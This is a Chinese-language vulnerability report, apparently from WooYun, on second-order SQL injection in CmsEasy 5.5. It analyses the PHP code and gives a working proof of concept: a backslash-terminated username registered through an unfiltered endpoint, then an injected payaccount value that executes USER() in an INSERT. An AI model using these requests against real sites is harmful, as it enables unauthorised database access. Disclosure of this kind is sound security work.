### 简要描述: CmsEasy官方8.2号,更新了CmsEasy_5.5_UTF-8_20140802.rar 并且发布了补丁CmsEasy_for_Uploads_20140802.rar 然后,下载了个最新的包,看了下,发现一处问题 这个问题打过补丁了,但是还是能从其他地方进行注入 ### 详细说明: 首先来看看union_act.php: ``` function register_action() { $r = $this->_union->getrow(array('userid'=>$this->view->data['userid'])); if($r) { echo '<script type="text/javascript">alert("'.lang('你已经申请,转入联盟页面!').'")</script>'; front::refresh(url::create('union/stats')); } if(front::post('submit')) { if(!config::get('reg_on')) { front::flash(lang('网站已经关闭注册!')); return; } if(config::get('verifycode')) { if(!session::get('verify') ||front::post('verify')<>session::get('verify')) { front::flash(lang('验证码错误!')); return; } } if(front::post('nickname') != strip_tags(front::post('nickname')) ||front::post('nickname') != htmlspecialchars(front::post('nickname')) ) { front::flash(lang('姓名不规范!')); return; } if(strlen(front::post('nickname'))<4) { front::flash(lang('请填写认真填写真实姓名!')); return; } if(strlen(front::post('payaccount'))<1) {...
### 简要描述: CmsEasy官方8.2号,更新了CmsEasy_5.5_UTF-8_20140802.rar 并且发布了补丁CmsEasy_for_Uploads_20140802.rar 然后,下载了个最新的包,看了下,发现一处问题 这个问题打过补丁了,但是还是能从其他地方进行注入 ### 详细说明: 首先来看看union_act.php: ``` function register_action() { $r = $this->_union->getrow(array('userid'=>$this->view->data['userid'])); if($r) { echo '<script type="text/javascript">alert("'.lang('你已经申请,转入联盟页面!').'")</script>'; front::refresh(url::create('union/stats')); } if(front::post('submit')) { if(!config::get('reg_on')) { front::flash(lang('网站已经关闭注册!')); return; } if(config::get('verifycode')) { if(!session::get('verify') ||front::post('verify')<>session::get('verify')) { front::flash(lang('验证码错误!')); return; } } if(front::post('nickname') != strip_tags(front::post('nickname')) ||front::post('nickname') != htmlspecialchars(front::post('nickname')) ) { front::flash(lang('姓名不规范!')); return; } if(strlen(front::post('nickname'))<4) { front::flash(lang('请填写认真填写真实姓名!')); return; } if(strlen(front::post('payaccount'))<1) { front::flash(lang('请填写支付账号!')); return; } if(strlen(front::post('tel'))<1) { front::flash(lang('请填写联系电话!')); return; } if(strlen(front::post('address'))<1) { front::flash(lang('请填写联系地址!')); return; } if(strlen(front::post('website'))<1) { front::flash(lang('请填写网站地址!')); return; } /*if(strlen(front::post('e_mail'))<1) { front::flash(lang('请填写邮箱!')); return; }*/ if(is_array($_POST)){ foreach ($_POST as $v){ if(preg_match('/(select|load_file|\[|password)/i', $v)){ exit('not access'); } } } $userarr = array(); $userarr['nickname'] = front::$post['nickname']; $userarr['tel'] = front::$post['tel']; $userarr['address'] = front::$post['address']; //$userarr['e_mail'] = front::$post['e_mail']; $unionarr = array(); $unionarr['userid'] = $this->view->data['userid']; $unionarr['username'] = $this->view->data['username']; $unionarr['payaccount'] = front::$post['payaccount']; $unionarr['website'] = front::$post['website']; $unionarr['profitmargin'] = union::getconfig('profitmargin'); $unionarr['regtime'] = time(); $unionarr['regip'] = front::ip(); $unionarr['passed'] = 1; if(front::post('nickname') &&$this->view->data['userid']) { $insert=$this->_user->rec_update($userarr,'userid='.$this->view->user['userid']); $insert1 = $this->_union->rec_insert($unionarr); if($insert &&$insert1) front::flash(lang('申请成功!')); else { front::flash(lang('申请失败!')); return; } front::redirect(url::create('union/stats')); exit; } else { front::flash(lang('申请失败!')); return; } } } ``` 注意这里: $insert1 = $this->_union->rec_insert($unionarr); 我们来看看rec_insert的处理: ``` function rec_insert($row) { $tbname=$this->name; $sql=$this->sql_insert($tbname,$row); return $this->query_unbuffered($sql); } function sql_insert($tbname,$row) { $sqlfield=''; $sqlvalue=''; foreach ($row as $key=>$value) { if (in_array($key,explode(',',$this->getcolslist()))) { $value=$value; $sqlfield .= $key.","; $sqlvalue .= "'".$value."',"; } } return "INSERT INTO `".$tbname."`(".substr($sqlfield,0,-1).") VALUES (".substr($sqlvalue,0,-1).")"; } ``` 最后直接进入INSERT INTO,进入SQL语句 我们来看看$this->view->data['username']这个内容是什么 还是union_act.php文件: ``` function init() { if(!union::getconfig('enabled')) { echo '<script type="text/javascript">alert("'.lang('推广联盟未开启,转让会员中心!').'")</script>'; front::refresh(url::create('user/index')); } $user=''; if(cookie::get('login_username') &&cookie::get('login_password')) { $user=new user(); $user=$user->getrow(array('username'=>cookie::get('login_username'))); } if(!is_array($user) &&front::$act != 'into'&&front::$act != 'login'&&front::$act != 'register'&&front::$act != 'login_js'&&front::$act != 'login_success'&&front::$act != 'getpass'&&front::$act != 'edit'){ front::redirect(url::create('user/login')); }else{ if (is_array($user) && cookie::get('login_password') == front::cookie_encode($user['password'])) { $this->view->user = $user; $this->view->usergroupid = $user['groupid']; $obj = new usergroup(); $this->roles = $obj->getrow(array('groupid'=>$this->view->usergroupid)); } } $this->_user=new user; $this->view->form = $this->_user->get_form(); $this->view->field = $this->_user->getFields(); $this->view->primary_key=$this->_user->primary_key; $this->view->data = $this->view->user; $this->_union = new union(); $this->view->uniondata = $this->_union->getrow(array('userid'=>$this->view->data['userid'])); if(!$this->view->uniondata &&front::$act != 'register'&&front::$act != 'into') { echo '<script type="text/javascript">alert("'.lang('未申请账号,转入联盟申请页面!').'");window.location.href="'.url::create('union/register').'";</script>'; //front::refresh(url::create('union/register')); } $this->_pagesize=config::get('manage_pagesize'); } ``` 注意这几处关系: $user=$user->getrow(array('username'=>cookie::get('login_username'))); $this->view->user = $user; $this->view->data = $this->view->user; 所以由上面三处赋值关系可以看到 $this->view->data就是当前登录用户的用户属性信息。 所以到这里我们来想一想: 要是这里的用户属性信息就是$this->view->data的内容再进入SQL语句时,能带入单引号’或者反斜杠\,那么就可能导致SQL注入。 带着这个问题,我们来看看$this->view->data即用户属性信息是如何存进数据库的,能不能带入特殊符号进入。 这里就要注册时,带入\即可 但是最新版在user_act.php中进行了处理: ``` if(front::post('username') &&front::post('password')) { $username=front::post('username'); $username=str_replace('\\', '', $username); $password=md5(front::post('password')); $e_mail=front::post('e_mail'); $tel=front::post('tel'); ``` 把\\给替换为空了,导致无法直接带入\ 但是这里还有一个respond_action函数: ``` function respond_action() { ini_set("display_errors","On"); $classname = front::$get['ologin_code']; if(front::post('regsubmit')) { if(!config::get('reg_on')) { front::flash(lang('网站已经关闭注册!')); return; } if(front::post('username') != strip_tags(front::post('username')) ||front::post('username') != htmlspecialchars(front::post('username')) ) { front::flash(lang('用户名不规范!')); return; } if(strlen(front::post('username'))<4) { front::flash(lang('用户名太短!')); return; } if(front::post('username') &&front::post('password')) { $username=front::post('username'); $password=md5(front::post('password')); $data=array( 'username'=>$username, 'password'=>$password, 'groupid'=>101, 'userip'=>front::ip(), $classname=>session::get('openid'), ); if($this->_user->getrow(array('username'=>$username))) { front::flash(lang('该用户名已被注册!')); return; } $insert=$this->_user->rec_insert($data); $_userid = $this->_user->insert_id(); if($insert){ front::flash(lang('注册成功!')); }else { front::flash(lang('注册失败!')); return; } $user=$data; cookie::set('login_username',$user['username']); cookie::set('login_password',front::cookie_encode($user['password'])); session::set('username',$user['username']); front::redirect(url::create('user')); exit; } } ``` 这里同样可以注册,而且没有过滤username,注册更简单,并且可带入反斜杠\ 可以看到这里的用户名username直接赋给了cookie[login_username] ``` 所以通过上面的分析与测试得出结论: 1、注册一个用户,用户名中带反斜杠,如:222222\; 2、登陆后,此用户的用户名进入cookie[login_username]; 3、在会员中心,推广联盟,注册用户时,根据cookie[login_username]取出当前用户的信息,如userid,username等,直接赋给$this->view->data; 4、在注册时,没有处理$this->view->data[‘username’],$this->view->data[‘username’]直接进入INSERT INTO SQL语句; 5、由于用户名username中有反斜杠’\’,进入SQL语句后导致反斜杠与其后的单引号“’”结合,使单引号失效,导致SQL注入,如:’userid’,’username\’,’website’,所以最后这里的website逃逸了单引号保护,导致SQL语句执行。 ``` 第二处SQL注入在guestbook_act.php文件 同样的原理,就不在详细分析 在留言时,抓包,修改content的值即可 具体分析可见: [WooYun: CmsEasy最新版多处SQL注入附如何从一处到多处漏洞快速挖掘定位](http://www.wooyun.org/bugs/wooyun-2014-067526) 由register_action引起的漏洞分析 ### 漏洞证明: 1、注册: ``` 链接: http://localhost/CmsEasy_5.5_UTF-8_20140802//index.php?case=user&act=respond POST: ologin_code=&username=222222%5C&password=222222&password2=222222®submit=+%E7%99%BB%E9%99%86+ ``` 2、登陆: 这里登陆也是用这个接口登陆 ``` 链接: http://localhost/CmsEasy_5.5_UTF-8_20140802//index.php?case=user&act=respond POST: ologin_code=&username=222222%5C&password=222222&submit=+%E7%99%BB%E9%99%86+ ``` 3、注册推广联盟: 然后抓包,修改payaccount的值 ``` 链接: http://localhost/CmsEasy_5.5_UTF-8_20140802//index.php?case=union&act=register POST: nickname=111111&payaccount=,222222,USER(),2,1111111,1111111,11)#&tel=111111&e_mail=111111%40111.com&address=111111&website=111111&verify=tjfv&submit=+%E7%94%B3%E8%AF%B7+ ``` 然后看看数据库执行记录: ``` INSERT INTO `cmseasy_union`(userid,username,payaccount,website,profitmargin,regtime,regip,passed) VALUES ('5','222222\',',222222,USER(),2,1111111,1111111,11)#','111111','2','1407051889','127.0.0.1','1') ``` [<img src="https://images.seebug.org/upload/201408/03162120a6acf3dfe22b676b0babcaff0d770c9b.png" alt="111.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/03162120a6acf3dfe22b676b0babcaff0d770c9b.png) 4、修改资料: ``` http://localhost/CmsEasy_5.5_UTF-8_20140802//index.php?case=union&act=edit&manage=union ``` 即可看到结果: [<img src="https://images.seebug.org/upload/201408/0316262513d4ecdeb862314281642ed444a9dbfa.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/0316262513d4ecdeb862314281642ed444a9dbfa.png)